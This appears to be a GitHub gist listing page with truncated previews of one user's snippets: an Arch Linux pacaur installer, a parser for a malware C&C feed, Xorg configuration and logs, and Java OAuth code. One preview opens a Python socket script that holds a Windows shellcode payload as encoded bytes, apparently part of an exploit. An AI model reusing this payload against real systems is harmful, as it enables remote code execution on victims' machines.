Skip to content

Instantly share code, notes, and snippets.

C:\Windows\system32\cmd.exe

Keybase proof

I hereby claim:

  • I am chiggins on github.
  • I am chiggins (https://keybase.io/chiggins) on keybase.
  • I have a public key whose fingerprint is 4BE7 48D0 7168 CFB8 B195 4DAD C6C4 02F1 C931 05CA

To claim this, I am signing this object:

@Chiggins
Chiggins / pacaur_install.sh
Created November 15, 2017 06:31 — forked from tadly/pacaur_install.sh
A simple shell script to quickly / easily install "pacaur" on archlinux
#!/bin/sh
# If you are new to arch, I encourage you to at least read and understand what
# this script does befor blindley running it.
# That's why I didn't make a one-liner out of it so you have an easier time
# reading and understanding it :)
#
# This scripts purpose is purly to save you a few seconds on your new installation.
#
# Enjoy your time on an awesome system. Arch FTW!
@Chiggins
Chiggins / parse-c-and-c-feed.py
Created June 8, 2016 16:37
Take a look at the MalwareMustDie C&C feed and create a hosts list that can be parsed by nmap
import bs4, requests, urllib
from urlparse import urlparse
feed = requests.get('https://malwared.malwaremustdie.org/rss.php')
feedsoup = bs4.BeautifulSoup(feed.text, 'html.parser')
urls = []
hosts_file = open('hosts.txt', 'w')
Section "ServerLayout"
Identifier "layout"
Screen 0 "nvidia"
Inactive "intel"
EndSection
Section "Device"
Identifier "nvidia"
Driver "nvidia"
BusID "PCI:1:0:0"
[ 14.438]
X.Org X Server 1.14.4
Release Date: 2013-10-31
[ 14.439] X Protocol Version 11, Revision 0
[ 14.439] Build Operating System: Linux 3.11.6-1-ARCH x86_64
[ 14.440] Current Operating System: Linux vader 3.11.6-1-ARCH #1 SMP PREEMPT Fri Oct 18 23:22:36 CEST 2013 x86_64
[ 14.441] Kernel command line: BOOT_IMAGE=/boot/vmlinuz-linux root=UUID=34c3e2c5-ae4a-45ce-b7aa-f9284d5dcdb0 rw quiet nomodeset acpi_osi=Linux acpi_backlight=vendor
[ 14.442] Build Date: 01 November 2013 05:10:48PM
[ 14.443]
[ 14.443] Current version of pixman: 0.30.2
import socket, sys
windows_payload = ("\xd9\xc0\xbf\x0e\x56\x8a\x78\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x4f\x83\xc3\x04\x31\x7b\x15\x03\x7b\x15\xec\xa3\x76\x90\x79"
"\x4b\x87\x61\x19\xc5\x62\x50\x0b\xb1\xe7\xc1\x9b\xb1\xaa\xe9"
"\x50\x97\x5e\x79\x14\x30\x50\xca\x92\x66\x5f\xcb\x13\xa7\x33"
"\x0f\x32\x5b\x4e\x5c\x94\x62\x81\x91\xd5\xa3\xfc\x5a\x87\x7c"
"\x8a\xc9\x37\x08\xce\xd1\x36\xde\x44\x69\x40\x5b\x9a\x1e\xfa"
"\x62\xcb\x8f\x71\x2c\xf3\xa4\xdd\x8d\x02\x68\x3e\xf1\x4d\x05"
"\xf4\x81\x4f\xcf\xc5\x6a\x7e\x2f\x89\x54\x4e\xa2\xd0\x91\x69"
import org.scribe.builder.api.DefaultApi10a;
import org.scribe.model.Token;
public class NeoseekerAPI extends DefaultApi10a
{
private static String requestTokenURL = "http://api.neoseeker.com/oauth/request.php";
private static String accessTokenURL = "http://api.neoseeker.com/oauth/access.php";
private static String authTokenURL = "http://api.neoseeker.com/oauth/authorize.php?oauth_token=%s";
@Override
@Chiggins
Chiggins / NeoseekerOAuthTest.java
Created July 25, 2012 18:38
Testing out Neoseekers OAuth API
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.StringWriter;
import oauth.signpost.OAuth;
import oauth.signpost.OAuthConsumer;
import oauth.signpost.OAuthProvider;
import oauth.signpost.commonshttp.CommonsHttpOAuthConsumer;